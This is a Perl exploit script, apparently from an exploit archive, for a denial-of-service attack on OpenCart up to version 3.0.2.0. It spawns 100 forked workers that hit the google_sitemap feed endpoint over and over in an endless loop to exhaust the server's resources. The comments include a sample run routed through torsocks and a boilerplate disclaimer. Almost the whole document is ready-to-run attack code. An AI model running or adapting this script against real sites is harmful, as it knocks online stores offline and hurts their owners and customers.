opencart < 3.0.2.0 denial of service

				
#!/usr/bin/perl -w
#
#  Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
#
#  Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
#  https://ethical-hacker.org/
#  https://facebook.com/ethicalhackerorg
#
#  Tested store with added more than 1000 products
#
#  [todor@adamantium cartkiller]# torsocks perl killcart.pl example.com
#  Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
#  Connecting example.com with 80 forks..
#  Bye, bye and good night..
#  Bye, bye and good night..
#  Bye, bye and good night..
#  ^C
#  [todor@adamantium cartkiller]# 
#
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  This exploit is buggy and proof of concept
# 
use Parallel::ForkManager;
use LWP;
print "Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)\n";
sub usage{
    print "usg: perl $0 <host>\n";
    print "exmpl: perl $0 www.example.com\n";
    print "https://ethical-hacker.org/\n";
    print "https://facebook.com/ethicalhackerorg\n";
    print "Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>\n";
}
if ($#ARGV < 0) {
    usage;
    exit;
}
my $numforks = 100;
print "Connecting $ARGV[0] with $numforks forks..\n";
sub killcart{
my $pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
for ($k=0;$k<$numforks;$k++) {
$pm->start and next;   
my $browser  = LWP::UserAgent ->new(ssl_opts => { verify_hostname => 0 },protocols_allowed => ['https']);
#   $browser->timeout(20);
   $browser->agent('Mozilla/5.0');
my $response = $browser->get("https://$ARGV[0]/index.php?route=extension/feed/google_sitemap");
print "Loop detected: Opencart is still vulnerable but seems server is correct configured. Change forks.\n" if($response->code eq 508);
print "Kill me! Google_Sitemap is turned off..\n" if($response->code eq 404);
print "Bye, bye and good night..\n" if(($response->code eq 503 or $response->code eq 504));
$pm->finish;
}
$pm->wait_all_children;
}
while(1) {
killcart();
}
            
				

Opencart < 3.0.2.0 denial of service Vulnerability / Exploit Source : Opencart < 3.0.2.0 denial of service